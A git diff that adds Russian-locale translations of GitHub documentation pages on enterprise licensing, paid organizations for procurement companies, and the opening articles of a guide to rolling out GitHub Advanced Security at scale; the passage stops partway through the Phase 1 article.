+ + {% note %} + + **Note:** To make troubleshooting easier, we recommend using verified domains with your enterprise account on {% data variables.product.prodname_dotcom_the_website %}. For more information, see "[Verifying or approving a domain for your enterprise](/enterprise-cloud@latest/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise)." + + {% endnote %} +1. After you identify users who are consuming multiple seats, make sure that the same email address is associated with all of the user's accounts. For more information about which email addresses must match, see "[About the calculation of consumed licenses](#about-the-calculation-of-consumed-licenses)." +1. If an email address was recently updated or verified to correct a mismatch, view the timestamp of the last license sync job. If a job hasn't run since the correction was made, manually trigger a new job. For more information, see "[Syncing license usage between GitHub Enterprise Server and GitHub Enterprise Cloud](/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud)." + +If you still have questions about your consumed licenses after reviewing the troubleshooting information above, you can contact {% data variables.contact.github_support %} through the {% data variables.contact.contact_enterprise_portal %}. diff --git a/translations/ru-RU/content/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server.md b/translations/ru-RU/content/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server.md new file mode 100644 index 000000000000..e66cfc6dd6e4 --- /dev/null +++ b/translations/ru-RU/content/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server.md @@ -0,0 +1,37 @@ +--- +title: Uploading a new license to GitHub Enterprise Server +intro: 'You can upload your license file for {% data variables.product.prodname_enterprise %} to {% data variables.location.product_location_enterprise %} to validate your application.' +versions: + ghes: '*' +type: how_to +topics: + - Enterprise + - Licensing +shortTitle: Upload a new license +--- + +## About license files for {% data variables.product.prodname_enterprise %} + +After you purchase or upgrade a license for {% data variables.product.prodname_enterprise %} from {% data variables.contact.contact_enterprise_sales %}, you must upload the new license file to {% data variables.location.product_location_enterprise %} to unlock your new user licenses. For more information about licenses for {% data variables.product.product_name %}, see "[About licenses for {% data variables.product.prodname_enterprise %}](/billing/managing-your-license-for-github-enterprise/about-licenses-for-github-enterprise)" and "[Downloading your license for {% data variables.product.prodname_enterprise %}](/billing/managing-your-license-for-github-enterprise/downloading-your-license-for-github-enterprise)." + +{% data reusables.enterprise-licensing.contact-sales-for-renewals-or-seats %} + +## Uploading your license to {% data variables.location.product_location_enterprise %} + +{% warning %} + +**Warning:** Updating your license causes a small amount of downtime for {% data variables.location.product_location %}. + +{% endwarning %} + +1. Sign into {% data variables.location.product_location_enterprise %} as a site administrator. +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.settings-tab %} +{% data reusables.enterprise-accounts.license-tab %} +1. Under "Quick links", click **Update license**. + ![Update license link](/assets/images/enterprise/business-accounts/update-license-link.png) +1. To select your license, click **License file**, or drag your license file onto **License file**. + ![Upload license file](/assets/images/enterprise/management-console/upload-license.png) +1. Click **Upload**. + ![Begin upload](/assets/images/enterprise/management-console/begin-upload.png) + diff --git a/translations/ru-RU/content/billing/managing-your-license-for-github-enterprise/viewing-license-usage-for-github-enterprise.md b/translations/ru-RU/content/billing/managing-your-license-for-github-enterprise/viewing-license-usage-for-github-enterprise.md new file mode 100644 index 000000000000..452c276d238a --- /dev/null +++ b/translations/ru-RU/content/billing/managing-your-license-for-github-enterprise/viewing-license-usage-for-github-enterprise.md @@ -0,0 +1,68 @@ +--- +title: Viewing license usage for GitHub Enterprise +intro: 'You can view license usage for your enterprise on {% ifversion ghec %}{% data variables.product.prodname_dotcom_the_website %}{% elsif ghes %}{% data variables.location.product_location %}{% endif %}.' +permissions: 'Enterprise owners can view license usage for {% data variables.product.prodname_enterprise %}.' +versions: + ghec: '*' + ghes: '*' +type: how_to +topics: + - Enterprise + - Licensing +shortTitle: View license usage +--- + +## About license usage for {% data variables.product.prodname_enterprise %} + +You can view license usage for {% data variables.product.product_name %} on {% data variables.location.product_location %}. + +If you use both {% data variables.product.prodname_ghe_cloud %} and {% data variables.product.prodname_ghe_server %} and sync license usage between the products, you can view license usage for both on {% data variables.product.prodname_dotcom_the_website %}. For more information about license sync, see "[Syncing license usage between {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %}](/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud)." + +{% ifversion ghes %} + +For more information about viewing license usage on {% data variables.product.prodname_dotcom_the_website %} and identifying when the last license sync occurred, see "[Viewing license usage for {% data variables.product.prodname_enterprise %}](/enterprise-cloud@latest/billing/managing-your-license-for-github-enterprise/viewing-license-usage-for-github-enterprise)" in the {% data variables.product.prodname_ghe_cloud %} documentation. + +{% endif %} + +You can also use the REST API to return consumed licenses data and the status of the license sync job. For more information, see "[GitHub Enterprise administration](/enterprise-cloud@latest/rest/enterprise-admin/license)" in the REST API documentation. + +To learn more about the license data associated with your enterprise account and how the number of consumed user seats are calculated, see "[Troubleshooting license usage for GitHub Enterprise](/billing/managing-your-license-for-github-enterprise/troubleshooting-license-usage-for-github-enterprise)." + + +## Viewing license usage on {% ifversion ghec %}{% data variables.product.prodname_dotcom_the_website %}{% elsif ghes %}{% data variables.location.product_location %}{% endif %} + +You can view the license usage for your enterprise and download a file with license details. If you're not seeing expected license counts in this report, it's possible that the subscriber’s assigned {% data variables.product.prodname_vs %} subscription email address and {% data variables.product.prodname_dotcom_the_website %} email address aren't exactly the same. For further information, see "[Troubleshooting license usage for GitHub Enterprise](/billing/managing-your-license-for-github-enterprise/troubleshooting-license-usage-for-github-enterprise)." + +{% ifversion ghec %} + +{% data reusables.enterprise-accounts.access-enterprise-on-dotcom %} +{% data reusables.enterprise-accounts.settings-tab %} +1. In the left sidebar, click **Enterprise licensing**. + !["Enterprise licensing" tab in the enterprise account settings sidebar](/assets/images/help/enterprises/enterprise-licensing-tab.png) +1. Review your current {% data variables.product.prodname_enterprise %} license, as well as consumed and available user licenses. + - To download the consumed license report as a CSV file, in the top right, click {% octicon "download" aria-label="The download icon" %}. For more information about reviewing the data in this report, see "[Troubleshooting license usage for GitHub Enterprise](/billing/managing-your-license-for-github-enterprise/troubleshooting-license-usage-for-github-enterprise)." + - If your license includes {% data variables.product.prodname_GH_advanced_security %}, you can review your total seat use. For more information, see "[Viewing your {% data variables.product.prodname_GH_advanced_security %} usage](/billing/managing-billing-for-github-advanced-security/viewing-your-github-advanced-security-usage)." + +{% elsif ghes %} + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.settings-tab %} +{% data reusables.enterprise-accounts.license-tab %} +1. Review your current {% data variables.product.prodname_enterprise %} license, as well as consumed and available user licenses.{% ifversion ghes %} + - To download the consumed license report as a JSON file, in the top right under "Quick links", choose **Export license usage**. For more information about reviewing the data in this report, see "[Troubleshooting license usage for GitHub Enterprise](/billing/managing-your-license-for-github-enterprise/troubleshooting-license-usage-for-github-enterprise)." + - If your license includes {% data variables.product.prodname_GH_advanced_security %}, you can review your total seat use as well as a per-organization breakdown of committers. For more information, see "[Managing {% data variables.product.prodname_GH_advanced_security %} for your enterprise](/admin/advanced-security)."{% endif %} + +{% endif %} +{% ifversion ghec %} +## Viewing the last license sync date + +{% data reusables.enterprise-accounts.access-enterprise-on-dotcom %} +{% data reusables.enterprise-accounts.settings-tab %} +1. In the left sidebar, click **Enterprise licensing**. + !["Enterprise licensing" tab in the enterprise account settings sidebar](/assets/images/help/enterprises/enterprise-licensing-tab.png) +1. To identify when the last license sync occurred, under "Enterprise Server instances", look for timestamps next to usage uploaded or synced events. + - "Server usage uploaded" indicates license usage between environments was manually updated when a {% data variables.product.prodname_ghe_server %} license file was uploaded. + - "{% data variables.product.prodname_github_connect %} server usage synced" indicates license usage between environments was automatically updated. + - "{% data variables.product.prodname_github_connect %} server usage never synced" indicates that {% data variables.product.prodname_github_connect %} is configured, but license usage between environments has never updated successfully. + +{% endif %} diff --git a/translations/ru-RU/content/billing/setting-up-paid-organizations-for-procurement-companies/about-organizations-for-procurement-companies.md b/translations/ru-RU/content/billing/setting-up-paid-organizations-for-procurement-companies/about-organizations-for-procurement-companies.md new file mode 100644 index 000000000000..8a300e47dad7 --- /dev/null +++ b/translations/ru-RU/content/billing/setting-up-paid-organizations-for-procurement-companies/about-organizations-for-procurement-companies.md @@ -0,0 +1,44 @@ +--- +title: Об организациях для закупочных компаний +intro: 'Предприятия используют организации для совместной работы над общими проектами с несколькими владельцами и администраторами. Вы можете создать организацию для своего клиента, совершить платеж от его имени, а затем передать права владения организацией своему клиенту.' +redirect_from: + - /github/setting-up-and-managing-billing-and-payments-on-github/about-organizations-for-procurement-companies + - /articles/about-organizations-for-resellers + - /articles/about-organizations-for-procurement-companies + - /github/setting-up-and-managing-billing-and-payments-on-github/setting-up-paid-organizations-for-procurement-companies/about-organizations-for-procurement-companies +versions: + fpt: '*' + ghec: '*' +type: overview +topics: + - Organizations +shortTitle: About organizations +ms.openlocfilehash: 9a4b4012e4de7b2aee3cc10a4c03fe18d8dc6309 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '147879125' +--- +Чтобы получить доступ к организации, каждый участник должен войти в свою личную учетную запись. + +Участники организации могут иметь разные роли, например *владелец* или *менеджер по выставлению счетов*: + +- **Владельцы** имеют полный административный доступ к организации и ее содержимому. +- **Менеджеры по выставлению счетов** могут управлять параметрами выставления счетов, но не имеют доступа к содержимому организации. Менеджеры по выставлению счетов не отображаются в списке участников организации. + +## Платежи и цены для организаций + +Мы не предоставляем предложения с расценками для цен организации. Вы можете ознакомиться с нашими опубликованными ценами на [организации](https://github.com/pricing) и [хранилище больших файлов Git](/articles/about-storage-and-bandwidth-usage/). Мы не предоставляем скидки для закупочных компаний или для заказов на продление. + +Мы принимаем оплату в долларах США, хотя пользователи могут находиться в любой точке мира. + +Мы принимаем оплату кредитной картой и PayPal. Мы не принимаем оплату по заказу на покупку или накладной. + +Для упрощения и повышения эффективности закупок мы рекомендуем закупочным компаниям настроить ежегодное выставление счетов для организаций своих клиентов. + +## Дополнительные материалы + +- [Создание и оплата организации от имени клиента](/articles/creating-and-paying-for-an-organization-on-behalf-of-a-client) +- [Обновление или понижение версии платной организации вашего клиента](/articles/upgrading-or-downgrading-your-client-s-paid-organization) +- [Возобновление платной организации вашего клиента](/articles/renewing-your-client-s-paid-organization) diff --git a/translations/ru-RU/content/billing/setting-up-paid-organizations-for-procurement-companies/creating-and-paying-for-an-organization-on-behalf-of-a-client.md b/translations/ru-RU/content/billing/setting-up-paid-organizations-for-procurement-companies/creating-and-paying-for-an-organization-on-behalf-of-a-client.md new file mode 100644 index 000000000000..0d796111a2d4 --- /dev/null +++ b/translations/ru-RU/content/billing/setting-up-paid-organizations-for-procurement-companies/creating-and-paying-for-an-organization-on-behalf-of-a-client.md @@ -0,0 +1,108 @@ +--- +title: Creating and paying for an organization on behalf of a client +intro: 'You can create and pay for a {% data variables.product.prodname_dotcom %} organization on behalf of a client.' +redirect_from: + - /github/setting-up-and-managing-billing-and-payments-on-github/creating-and-paying-for-an-organization-on-behalf-of-a-client + - /articles/creating-and-paying-for-an-organization-on-behalf-of-a-client + - /github/setting-up-and-managing-billing-and-payments-on-github/setting-up-paid-organizations-for-procurement-companies/creating-and-paying-for-an-organization-on-behalf-of-a-client +versions: + fpt: '*' + ghec: '*' +type: quick_start +topics: + - User account + - Organizations + - Upgrades +shortTitle: On behalf of a client +--- +## Requirements + +Before you start, make sure you know: +- The {% data variables.product.prodname_dotcom %} username of the client who will become the owner of the organization you create +- The name your client would like to use for the organization +- The email address where you would like receipts to be sent +- The [product](/articles/github-s-products) your client would like to purchase +- The number of [paid seats](/articles/about-per-user-pricing/) your client would like you to purchase for the organization + +## Step 1: Create your personal {% data variables.product.prodname_dotcom %} account + +You will use your personal account to set up the organization. You'll also need to sign in to this account to renew or make changes to your client's subscription in the future. + +If you already have a personal account on {% data variables.product.prodname_dotcom %}, skip to [step 2](#step-2-create-the-organization). + +1. Go to the [Join GitHub](https://github.com/join) page. +2. Under "Create your personal account," type your username, email address, and password, then click **Create an account**. +![Create personal account entry form](/assets/images/help/billing/billing_create_your_personal_account_form.png) +3. Select {% data variables.product.prodname_free_user %} for your personal account. +4. Click **Finish sign up**. + +## Step 2: Create the organization + +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.organizations %} +{% data reusables.organizations.new-organization %} +3. Under "Choose a plan", click **Choose {% data variables.product.prodname_free_team %}**. You will upgrade the organization in the next step. +{% data reusables.organizations.organization-name %} +5. Under "Contact email", type a contact email address for your client. + ![Contact email field](/assets/images/help/organizations/contact-email-field.png) +{% data reusables.dotcom_billing.owned_by_business %} +8. Click **Next**. + +## Step 3: Upgrade the organization to a yearly paid subscription + + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.organizations.billing_plans %} +{% data reusables.dotcom_billing.upgrade_org %} +{% data reusables.dotcom_billing.choose_org_plan %} (You can add more seats to the organization in the next step.) +6. Under "Upgrade summary", select **Pay yearly** to pay for the organization yearly. +![Radio button for yearly billing](/assets/images/help/billing/choose-annual-billing-org-resellers.png) +{% data reusables.dotcom_billing.enter-payment-info %} +{% data reusables.dotcom_billing.finish_upgrade %} + +## Step 4: Upgrade the number of paid seats in the organization + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.organizations.billing_plans %} +{% data reusables.dotcom_billing.add-seats %} +{% data reusables.dotcom_billing.number-of-seats %} +{% data reusables.dotcom_billing.confirm-add-seats %} + +## Step 5: Invite your client to join the organization + +{% data reusables.profile.access_org %} +{% data reusables.user-settings.access_org %} +{% data reusables.organizations.people %} +{% data reusables.organizations.invite_member_from_people_tab %} +5. Type your client's {% data variables.product.prodname_dotcom %} username and press **Enter**. +![Field to type your client's username](/assets/images/help/organizations/org-invite-modal.png) +6. Choose the *owner* role for your client, then click **Send invitation**. +![Owner radio button and send invitation button](/assets/images/help/organizations/add-owner-send-invite-reseller.png) +7. Your client will receive an email inviting them to the organization. They will need to accept the invitation before you can move on to the next step. + +## Step 6: Transfer organization ownership to your client + +{% data reusables.profile.access_org %} +{% data reusables.user-settings.access_org %} +{% data reusables.organizations.people %} +4. Confirm that your client is listed among the members of the organization and is assigned the *owner* role. +5. To the right of your username, use the {% octicon "gear" aria-label="The Settings gear" %} drop-down menu, and click **Manage**. + ![The manage access link](/assets/images/help/organizations/member-manage-access.png) +6. On the left, click **Remove from organization**. + ![Remove from organization button](/assets/images/help/organizations/remove-from-org-button.png) +7. Confirm your choice and click **Remove members**. + ![Remove members confirmation button](/assets/images/help/organizations/confirm-remove-from-org.png) + +## Next steps + +1. Contact your client and ask them to [add you to the organization as a billing manager](/articles/adding-a-billing-manager-to-your-organization). You'll need to be a billing manager for the organization so that you can renew or make changes to your client's subscription in the future. +2. If you would like your organization's credit card to be removed from the organization so that it's not charged again, contact {% data variables.contact.contact_support %}. +3. When it's time to renew your client's paid subscription, see "[Renewing your client's paid organization](/articles/renewing-your-client-s-paid-organization)." + +## Further reading + +- "[About organizations for procurement companies](/articles/about-organizations-for-procurement-companies)" +- "[Upgrading or downgrading your client's paid organization](/articles/upgrading-or-downgrading-your-client-s-paid-organization)" +- "[Renewing your client's paid organization](/articles/renewing-your-client-s-paid-organization)" diff --git a/translations/ru-RU/content/billing/setting-up-paid-organizations-for-procurement-companies/index.md b/translations/ru-RU/content/billing/setting-up-paid-organizations-for-procurement-companies/index.md new file mode 100644 index 000000000000..64397a6cabef --- /dev/null +++ b/translations/ru-RU/content/billing/setting-up-paid-organizations-for-procurement-companies/index.md @@ -0,0 +1,25 @@ +--- +title: Настройка платных организаций для закупочных компаний +shortTitle: Paid organizations for procurement companies +intro: 'Если вы платите за {% data variables.product.product_name %} от имени клиента, можно настроить для него организацию и параметры оплаты, чтобы обеспечить максимальное удобство и безопасность.' +redirect_from: + - /github/setting-up-and-managing-billing-and-payments-on-github/setting-up-paid-organizations-for-procurement-companies + - /articles/setting-up-and-paying-for-organizations-for-resellers + - /articles/setting-up-and-paying-for-organizations-for-procurement-companies + - /articles/setting-up-paid-organizations-for-procurement-companies +versions: + fpt: '*' + ghec: '*' +children: + - /about-organizations-for-procurement-companies + - /creating-and-paying-for-an-organization-on-behalf-of-a-client + - /upgrading-or-downgrading-your-clients-paid-organization + - /renewing-your-clients-paid-organization +ms.openlocfilehash: 41550a6b22f146bcc92727468e1f3cdfab370d12 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145087771' +--- + diff --git a/translations/ru-RU/content/billing/setting-up-paid-organizations-for-procurement-companies/renewing-your-clients-paid-organization.md b/translations/ru-RU/content/billing/setting-up-paid-organizations-for-procurement-companies/renewing-your-clients-paid-organization.md new file mode 100644 index 000000000000..d2cb9a7d5413 --- /dev/null +++ b/translations/ru-RU/content/billing/setting-up-paid-organizations-for-procurement-companies/renewing-your-clients-paid-organization.md @@ -0,0 +1,35 @@ +--- +title: Продление платной организации клиента +intro: 'Если в вашей организации есть действующий метод оплаты, годовая подписка будет автоматически продлена. Менеджеры по выставлению счетов могут просматривать и обновлять метод оплаты и подписку организации.' +redirect_from: + - /github/setting-up-and-managing-billing-and-payments-on-github/renewing-your-clients-paid-organization + - /articles/renewing-your-client-s-paid-organization + - /articles/renewing-your-clients-paid-organization + - /github/setting-up-and-managing-billing-and-payments-on-github/setting-up-paid-organizations-for-procurement-companies/renewing-your-clients-paid-organization +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Organizations +shortTitle: Renewing paid organization +ms.openlocfilehash: 2b3f7e96a44cad8acaf782afb6f1c911c74f1c2d +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145087764' +--- +{% data reusables.organizations.reseller-ask-to-become-billing-manager %} + +{% tip %} + +**Совет**. Менеджеры по выставлению счетов также могут [изменять количество платных рабочих мест в организации](/articles/upgrading-or-downgrading-your-client-s-paid-organization) в любое время. + +{% endtip %} + +## Обновление кредитной карты организации + +{% data reusables.organizations.billing-settings %} {% data reusables.dotcom_billing.update_payment_method %} +1. В разделе "Способ оплаты" нажмите **Создать карту**. +![Кнопка создания карты для оплаты](/assets/images/help/billing/billing-new-card-button.png) {% data reusables.dotcom_billing.enter-payment-info %} diff --git a/translations/ru-RU/content/billing/setting-up-paid-organizations-for-procurement-companies/upgrading-or-downgrading-your-clients-paid-organization.md b/translations/ru-RU/content/billing/setting-up-paid-organizations-for-procurement-companies/upgrading-or-downgrading-your-clients-paid-organization.md new file mode 100644 index 000000000000..525520b3c671 --- /dev/null +++ b/translations/ru-RU/content/billing/setting-up-paid-organizations-for-procurement-companies/upgrading-or-downgrading-your-clients-paid-organization.md @@ -0,0 +1,42 @@ +--- +title: Повышение или понижение уровня платной организации клиента +intro: Менеджеры по выставлению счетов могут в любое время повысить или понизить уровень платной организации клиента. +redirect_from: + - /github/setting-up-and-managing-billing-and-payments-on-github/upgrading-or-downgrading-your-clients-paid-organization + - /articles/upgrading-or-downgrading-your-client-s-paid-organization + - /articles/upgrading-or-downgrading-your-clients-paid-organization + - /github/setting-up-and-managing-billing-and-payments-on-github/setting-up-paid-organizations-for-procurement-companies/upgrading-or-downgrading-your-clients-paid-organization +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Organizations + - Upgrades +shortTitle: Upgrade or downgrade +ms.openlocfilehash: 2309c89fabf2a81aab18df90b8c545f0f3f684e1 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145087752' +--- +{% data reusables.organizations.reseller-ask-to-become-billing-manager %} + +{% tip %} + +**Совет**. +- Перед повышением уровня организации клиента можно [просмотреть или обновить метод оплаты в файле для организации](/articles/adding-or-editing-a-payment-method). +- Эти инструкции предназначены для повышения и понижения уровня организаций в *подписке с оплатой по количеству мест*. Если клиент платит за {% data variables.product.product_name %} по *устаревшему плану с оплатой за каждый репозиторий*, можно повысить или [понизить](/articles/downgrading-your-github-subscription) уровень устаревшего плана либо [перевести организацию на оплату по количеству мест](/articles/upgrading-your-github-subscription). + +{% endtip %} + +## Обновление количества платных мест в организации + +{% data reusables.organizations.billing-settings %} {% data reusables.dotcom_billing.add-seats %} {% data reusables.dotcom_billing.number-of-seats %} {% data reusables.dotcom_billing.confirm-add-seats %} + +После добавления мест с вас будет списана сумма, пропорциональная количеству добавляемых мест и времени, оставшемуся в цикле выставления счетов, с использованием метода оплаты, указанного в файле организации. + +## Перевод организации с оплаты по количеству мест на бесплатный уровень + +{% data reusables.organizations.billing-settings %} {% data reusables.dotcom_billing.downgrade-org-to-free %} {% data reusables.dotcom_billing.confirm_cancel_org_plan %} diff --git a/translations/ru-RU/content/code-security/adopting-github-advanced-security-at-scale/index.md b/translations/ru-RU/content/code-security/adopting-github-advanced-security-at-scale/index.md new file mode 100644 index 000000000000..8ea707acd5fe --- /dev/null +++ b/translations/ru-RU/content/code-security/adopting-github-advanced-security-at-scale/index.md @@ -0,0 +1,28 @@ +--- +title: Внедрение GitHub Advanced Security в большом масштабе +shortTitle: Adopting GHAS at scale +intro: Поэтапный подход к развертыванию GitHub Advanced Security в вашей компании с использованием рекомендаций отрасли и GitHub. +versions: + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Secret scanning + - Advanced Security + - Repositories +children: + - /introduction-to-adopting-github-advanced-security-at-scale + - /phase-1-align-on-your-rollout-strategy-and-goals + - /phase-2-preparing-to-enable-at-scale + - /phase-3-pilot-programs + - /phase-4-create-internal-documentation + - /phase-5-rollout-and-scale-code-scanning + - /phase-6-rollout-and-scale-secret-scanning +ms.openlocfilehash: 5430d24ecf8979f5421c6f3fea9f10ad3f580e4c +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148110095' +--- + diff --git a/translations/ru-RU/content/code-security/adopting-github-advanced-security-at-scale/introduction-to-adopting-github-advanced-security-at-scale.md b/translations/ru-RU/content/code-security/adopting-github-advanced-security-at-scale/introduction-to-adopting-github-advanced-security-at-scale.md new file mode 100644 index 000000000000..2e0c24faa2e5 --- /dev/null +++ b/translations/ru-RU/content/code-security/adopting-github-advanced-security-at-scale/introduction-to-adopting-github-advanced-security-at-scale.md @@ -0,0 +1,59 @@ +--- +title: Общие сведения о внедрении GitHub Advanced Security в большом масштабе +intro: 'Вы можете внедрить {% data variables.product.prodname_GH_advanced_security %} в компании в большом масштабе, следуя рекомендациям отрасли и GitHub.' +versions: + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Advanced Security +shortTitle: Introduction +redirect_from: + - /admin/advanced-security/overview-of-github-advanced-security-deployment + - /admin/code-security/managing-github-advanced-security-for-your-enterprise/overview-of-github-advanced-security-deployment + - /admin/advanced-security/deploying-github-advanced-security-in-your-enterprise + - /admin/code-security/managing-github-advanced-security-for-your-enterprise/deploying-github-advanced-security-in-your-enterprise +miniTocMaxHeadingLevel: 2 +ms.openlocfilehash: f42a461b3c53565725d6909680fa8e6a202c0439 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148110094' +--- +## Об этих статьях + +{% data variables.product.prodname_GH_advanced_security %} (GHAS) позволяет командам разработчиков писать более безопасный код с помощью интегрированных инструментов, включая сканирование секретов и проверку кода с помощью CodeQL. Сведения о возможностях обеспечения безопасности, доступных в {% data variables.product.prodname_GH_advanced_security %}, см. в разделе [Сведения о GitHub Advanced Security](/get-started/learning-about-github/about-github-advanced-security). + +GHAS — это набор средств, требующих активного использования со стороны разработчиков в организации. Чтобы добиться максимальной рентабельности инвестиций, специалисты вашей организации должны научиться использовать и применять средства GHAS, а также обеспечивать их надлежащее обслуживание. + + +Мы создали поэтапный подход к развертыванию GHAS на основе лучших отраслевых методик и рекомендаций GitHub. Мы ожидаем, что большинство клиентов будут следовать этим этапам, основываясь на нашем опыте, который помогает клиентам в успешном развертывании {% data variables.product.prodname_GH_advanced_security %}. Но может потребоваться скорректировать этот подход в соответствии с потребностями вашей компании. + +Включение GHAS в крупной организации можно разбить на шесть основных этапов. + +1. [**Согласование стратегии и целей развертывания**](/code-security/adopting-github-advanced-security-at-scale/phase-1-align-on-your-rollout-strategy-and-goals). Подумайте о том, как будет выглядеть успех, и согласуйте пути реализации GHAS в вашей компании. Этот этап может занять всего несколько дней или неделю, но он закладывает твердый фундамент для остальной части развертывания. + +2. [**Подготовка к включению в большом масштабе**](/code-security/adopting-github-advanced-security-at-scale/phase-2-preparing-to-enable-at-scale). Подготовка разработчиков, сбор данных о репозиториях и подготовка к следующему этапу. + +3. [**Пилотные программы**](/code-security/adopting-github-advanced-security-at-scale/phase-3-pilot-programs). При необходимости выполните пилотное развертывание для нескольких проектов и команд с высоким уровнем влияния. Это позволит первой группе в вашей компании ознакомиться с GHAS до того, как вы развернете ее для остальных сотрудников. + +4. [**Создание внутренней документации**](/code-security/adopting-github-advanced-security-at-scale/phase-4-create-internal-documentation) Создайте внутреннюю документацию и ознакомьте с ней потребителей GHAS. Без надлежащей документации для разработчиков, инженеров по безопасности и других пользователей, которые будут использовать GHAS, ценность развертывания значительно снизится. + +5. [**Развертывание и масштабирование {% data variables.product.prodname_code_scanning %}**](/code-security/adopting-github-advanced-security-at-scale/phase-5-rollout-and-scale-code-scanning). Использование доступных API для автоматического развертывания {% data variables.product.prodname_code_scanning %} по командам и по языкам в организации с помощью собранных ранее данных репозиториев. + +6. [**Развертывание и масштабирование {% data variables.product.prodname_secret_scanning %}**](/code-security/adopting-github-advanced-security-at-scale/phase-6-rollout-and-scale-secret-scanning). Развертывание {% data variables.product.prodname_secret_scanning %}, которое требует меньше усилий по конфигурации и которое, следовательно, проще внедрить, чем {% data variables.product.prodname_code_scanning %}. Но по-прежнему очень важно иметь стратегию обработки новых и старых результатов. + +## {% data variables.contact.github_support %} и {% data variables.product.prodname_professional_services_team %} + +Если вы столкнулись с проблемами или возникли какие-либо вопросы во время реализации, вы можете поискать решение в нашей документации или обратиться в {% data variables.contact.github_support %}. Дополнительные сведения см. в разделе [Сведения о службе поддержки GitHub](/support/learning-about-github-support/about-github-support). + +Если вам нужно сопровождение на протяжении всего процесса развертывания, {% data variables.product.prodname_professional_services %} может помочь вам в успешном развертывании и реализации {% data variables.product.prodname_GH_advanced_security %}. Мы предлагаем различные варианты сопровождения и поддержки. У нас также есть учебные курсы, которые помогут вашей компании оптимизировать ценность от {% data variables.product.prodname_GH_advanced_security %}. + +Обратитесь к своему торговому представителю, чтобы получить дополнительные сведения обо всех доступных вариантах профессионального обслуживания. За дополнительными сведениями обратитесь в {% data variables.contact.contact_enterprise_sales %}. + +{% note %} + +Первая статья этой серии: [Этап 1. Согласование стратегии и целей развертывания](/code-security/adopting-github-advanced-security-at-scale/phase-1-align-on-your-rollout-strategy-and-goals). + +{% endnote %} diff --git a/translations/ru-RU/content/code-security/adopting-github-advanced-security-at-scale/phase-1-align-on-your-rollout-strategy-and-goals.md b/translations/ru-RU/content/code-security/adopting-github-advanced-security-at-scale/phase-1-align-on-your-rollout-strategy-and-goals.md new file mode 100644 index 000000000000..ec6f76fd37f2 --- /dev/null +++ b/translations/ru-RU/content/code-security/adopting-github-advanced-security-at-scale/phase-1-align-on-your-rollout-strategy-and-goals.md @@ -0,0 +1,76 @@ +--- +title: "Этап\_1. Согласование стратегии и целей развертывания" +intro: 'Перед включением {% data variables.product.prodname_code_scanning %} и {% data variables.product.prodname_secret_scanning %} разработайте план развертывания GHAS на предприятии.' +versions: + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Advanced Security +shortTitle: 1. Align on strategy +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: b2677cf11c300ad657f9bd6b8862fb1f292c2fb7 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148110087' +--- +{% note %} + +Эта статья является частью серии "Внедрение {% data variables.product.prodname_GH_advanced_security %} в большом масштабе". Общие сведения об этой серии см. в разделе [Общие сведения о внедрении {% data variables.product.prodname_GH_advanced_security %} в большом масштабе](/code-security/adopting-github-advanced-security-at-scale/introduction-to-adopting-github-advanced-security-at-scale). + +{% endnote %} + +### Установите четкие цели развертывания в компании + +Чтобы создать основу для направления развертывания, определите цели для GHAS в вашей компании и сообщите эти цели вашей команде. Цели могут быть простыми или сложными, если ваша команда слажена. Если вам требуется помощь в постановке целей, специалисты {% data variables.product.prodname_professional_services %} дадут вам рекомендации, основанные на нашем опыте работы с вашей компанией и другими клиентами. + +Вот несколько общих целей развертывания GHAS, которые вы можете использовать как примеры. + + - **Сокращение количества уязвимостей.** Эта цель может быть универсальной или может быть связана с недавним инцидентом, который, как вам кажется, ваша компания могла бы предотвратить с помощью GHAS. + - **Определение репозиториев с высоким риском.** Иногда требуется просто определить репозитории, которые наиболее подвержены рискам, чтобы устранить уязвимости и тем самым снизить риски. + - **Увеличение частоты исправления**. Чтобы предотвратить накопление проблем безопасности, можно стимулировать разработчиков принимать результаты и обеспечивать своевременное исправление этих уязвимостей. + - **Соблюдение нормативных требований**. Например, многие медицинские компании используют GHAS, чтобы предотвратить раскрытие персональных медицинских данных пациентов. + - **Предотвращение утечки секретов**. Многие 